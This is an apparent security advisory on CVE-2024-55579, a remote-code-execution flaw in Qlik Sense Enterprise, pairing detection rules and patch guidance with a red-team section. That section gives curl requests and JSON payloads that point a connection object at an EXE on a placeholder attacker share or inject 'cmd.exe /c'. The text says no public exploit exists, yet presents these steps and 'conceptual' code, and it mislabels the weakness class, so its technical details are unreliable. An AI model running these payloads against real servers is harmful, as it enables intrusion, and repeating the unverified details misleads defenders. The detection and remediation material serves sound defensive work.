CVE-2024-55579

Executive Summary

CVE-2024-55579 is a critical vulnerability in Qlik Sense Enterprise for Windows that allows an unprivileged user with network access to create connection objects that trigger the execution of arbitrary EXE files. This flaw enables remote code execution (RCE) with the privileges of the Qlik Sense service account, which often has elevated permissions. The vulnerability has a CVSS score of 8.8 (High) and affects all versions prior to the November 2024 IR and specific patches for earlier releases. No public proof-of-concept (PoC) or exploit code has been released at this time, but the risk is significant due to the potential for full system compromise.

Supply Chain & Package Security

This vulnerability is not related to open-source package ecosystems (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise analytics platform (Qlik Sense) and is not distributed via package registries. However, organizations using Qlik Sense should treat this as a critical supply chain risk due to the vendor's patch status and the potential for lateral movement within the network.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires an unprivileged user account.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Full system modification possible.
• Availability (A): High (H) – Full system disruption possible.

Threat Level: Critical. Although no public exploit exists, the low complexity and network attack vector make this a prime target for threat actors. The EPSS score of 0.0% indicates low exploitation probability currently, but this may change rapidly.

Deep Dive & Mechanics

The vulnerability resides in the Qlik Sense repository service, which handles the creation and management of connection objects (e.g., database connections, file shares). An unprivileged user can craft a malicious connection object that, when processed by the service, triggers the execution of an arbitrary EXE file. This is achieved by exploiting insufficient validation of connection parameters, allowing the injection of executable paths or commands.

Attack Flow:

1. An attacker gains network access to a Qlik Sense server (e.g., via a compromised low-privilege account or exposed API).
2. The attacker uses the Qlik Sense API or web interface to create a new connection object.
3. The connection object is crafted with a malicious parameter (e.g., a path to an EXE file on a network share or a command injection payload).
4. When the Qlik Sense service processes the connection (e.g., during a test or data load), it executes the specified EXE with the privileges of the service account.
5. The attacker achieves remote code execution, potentially leading to full system compromise.

Root Cause: The vulnerability is due to improper neutralization of special elements in output used by a downstream component (CWE-94). The Qlik Sense service does not sanitize user-supplied input when constructing command strings for external processes.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Qlik Sense Repository Service - Connection creation
public void CreateConnection(ConnectionRequest request)
{
    string command = $"net use \\\\{request.Server}\\share /user:{request.Username} {request.Password}";
    Process.Start(command); // No validation of request.Server or request.Username
}

Patched Code (Conceptual):

// Qlik Sense Repository Service - Connection creation
public void CreateConnection(ConnectionRequest request)
{
    if (!IsValidPath(request.Server) || !IsValidCredential(request.Username, request.Password))
    {
        throw new InvalidOperationException("Invalid connection parameters.");
    }
    string command = $"net use \\\\{SanitizePath(request.Server)}\\share /user:{SanitizeString(request.Username)} {SanitizeString(request.Password)}";
    Process.Start(command); // Input is sanitized
}

Key Differences:

• The patched version includes input validation and sanitization functions (IsValidPath, SanitizePath, SanitizeString).
• The vulnerable version directly concatenates user input into a command string without checks.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Network access to a Qlik Sense server (e.g., https://qlik-server.example.com:4243).
• A valid low-privilege user account (e.g., user1 with password Pass123).

Exploitation Steps:

1. Authenticate to Qlik Sense API:

   curl -k -X POST "https://qlik-server.example.com:4243/qrs/ticket" \
     -H "Content-Type: application/json" \
     -d '{"UserId":"user1","UserDirectory":"QLIK"}'
   

   Obtain the ticket from the response.

2. Create a Malicious Connection Object:

   curl -k -X POST "https://qlik-server.example.com:4243/qrs/connection" \
     -H "Content-Type: application/json" \
     -H "X-Qlik-Ticket: <ticket>" \
     -d '{
       "name": "MaliciousConnection",
       "connectionString": "CUSTOM CONNECT TO \"provider=QlikODBC;driver={SQL Server};server=127.0.0.1;uid=sa;pwd=;\"",
       "type": "ODBC",
       "username": "user1",
       "password": "Pass123",
       "path": "\\\\attacker-server\\share\\malicious.exe"
     }'
   

   The path field points to an attacker-controlled EXE file.

3. Trigger Execution:

   • Use the Qlik Sense web console to test the connection, or wait for a scheduled data load.
   • The malicious EXE executes with service account privileges.

Alternative Payload (Command Injection):

{
  "name": "MaliciousConnection",
  "connectionString": "CUSTOM CONNECT TO \"provider=QlikODBC;driver={SQL Server};server=127.0.0.1;uid=sa;pwd=;\"",
  "type": "ODBC",
  "username": "user1",
  "password": "Pass123",
  "path": "\\\\127.0.0.1\\c$\\windows\\system32\\cmd.exe /c calc.exe"
}

Blue Team (Detection & Hardening)

Detection Steps:

1. Monitor Connection Creation Events:

   • Enable auditing in Qlik Sense (QMC > Audit > Enable Audit Logging).
   • Look for connections created by non-admin users with unusual path values (e.g., network shares, cmd.exe).

2. Network Monitoring:

   • Detect outbound SMB connections to external IPs (port 445) from the Qlik Sense server.
   • Monitor for net use commands in process creation logs.

3. Endpoint Detection:

   • Use Sysmon to log process creation events (Event ID 1) and look for cmd.exe or powershell.exe spawned by the Qlik Sense service (QlikSenseService.exe).

Hardening:

• Restrict network access to the Qlik Sense API to trusted IPs only.
• Implement the principle of least privilege for user accounts.
• Apply the latest patches immediately.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2024_55579_Qlik_Sense_RCE {
    meta:
        description = "Detects malicious connection objects in Qlik Sense logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-55579"
    strings:
        $s1 = "connectionString" ascii wide nocase
        $s2 = "path" ascii wide nocase
        $s3 = "\\\\" ascii wide
        $s4 = "cmd.exe" ascii wide nocase
        $s5 = "powershell.exe" ascii wide nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: Qlik Sense Malicious Connection Object Creation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation of connection objects with suspicious paths in Qlik Sense
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4688
        ParentProcessName|endswith: '\\QlikSenseService.exe'
        NewProcessName|endswith:
            - '\\cmd.exe'
            - '\\powershell.exe'
            - '\\wscript.exe'
            - '\\cscript.exe'
    condition: selection
falsepositives:
    - Legitimate administrative tasks
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-55579 Qlik Sense RCE - Malicious Connection"; flow:to_server,established; content:"POST"; http_method; content:"/qrs/connection"; http_uri; content:"path"; nocase; content:"\\\\"; distance:0; content:"cmd.exe"; nocase; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Patches: Upgrade to the latest fixed version:
   • November 2024 IR
   • May 2024 Patch 10
   • February 2024 Patch 14
   • November 2023 Patch 16
   • August 2023 Patch 16
   • May 2023 Patch 18
   • February 2023 Patch 15
2. Restrict Network Access: Limit access to the Qlik Sense API (port 4243) to trusted IPs only.
3. Review User Permissions: Ensure only authorized users can create connection objects.

Long-Term Mitigations:

• Implement application whitelisting to block unauthorized EXE execution.
• Enable detailed auditing and log forwarding to a SIEM.
• Conduct regular vulnerability scans and penetration tests.

Workaround (if patching is not possible):

• Disable the connection creation feature for non-admin users via QMC > Security rules.
• Monitor for suspicious connection objects manually.

Valters IT